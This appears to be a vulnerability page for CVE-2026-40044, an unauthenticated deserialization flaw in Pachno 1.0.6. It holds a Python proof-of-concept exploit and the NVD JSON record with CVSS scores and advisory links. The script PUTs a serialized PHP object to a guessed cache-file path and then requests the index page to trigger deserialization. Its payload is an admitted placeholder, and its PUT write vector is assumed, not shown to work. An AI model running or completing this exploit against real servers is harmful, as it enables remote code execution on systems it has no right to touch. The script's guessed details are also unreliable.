CVE-2026-40044

import requests import sys # Usage: python poc.py http://target-url target_url = sys.argv[1] # Predictable cache filename based on vulnerability description # In a real scenario, the exact path would be determined by the framework's cache naming logic cache_file_path = "/cache/predictable_cache_file.cache" full_url = f"{target_url}{cache_file_path}" # Malicious PHP serialized object payload # This is a placeholder. An actual exploit would use a POP chain (e.g., Guzzle, Monolog RCE) # to achieve arbitrary code execution. php_payload = b'O:8:"stdClass":0:{}' # Headers might be needed depending on how the app writes/reads files headers = { "User-Agent": "Vulnerability-Scanner" } try: print(f"[*] Attempting to inject malicious payload into {full_url}") # Attempt to write the payload to the world-writable cache file # Assuming the web server allows PUT or the vulnerability exposes a write vector response = requests.put(full_url, data=php_payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Payload successfully injected.") print("[*] Triggering deserialization by sending a request to bootstrap the framework...") # Trigger the vulnerability (requesting the index page forces bootstrap/cache load) trigger_resp = requests.get(target_url) print(f"[*] Trigger response status: {trigger_resp.status_code}") print("[+] Exploit attempt finished. Check if code was executed.") else: print(f"[-] Failed to write payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-40044", "sourceIdentifier": "[email protected]", "published": "2026-04-13T19:16:52.290", "lastModified": "2026-04-17T15:28:29.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pachno 1.0.6 contains a deserialization vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting malicious serialized objects into cache files. Attackers can write PHP object payloads to world-writable cache files with predictable names in the cache directory, which are unserialized during framework bootstrap before authentication checks occur."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://www.vulncheck.com/advisories/pachno-filecache-deserialization-remote-code-execution", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5986.php", "source": "[email protected]"}]}}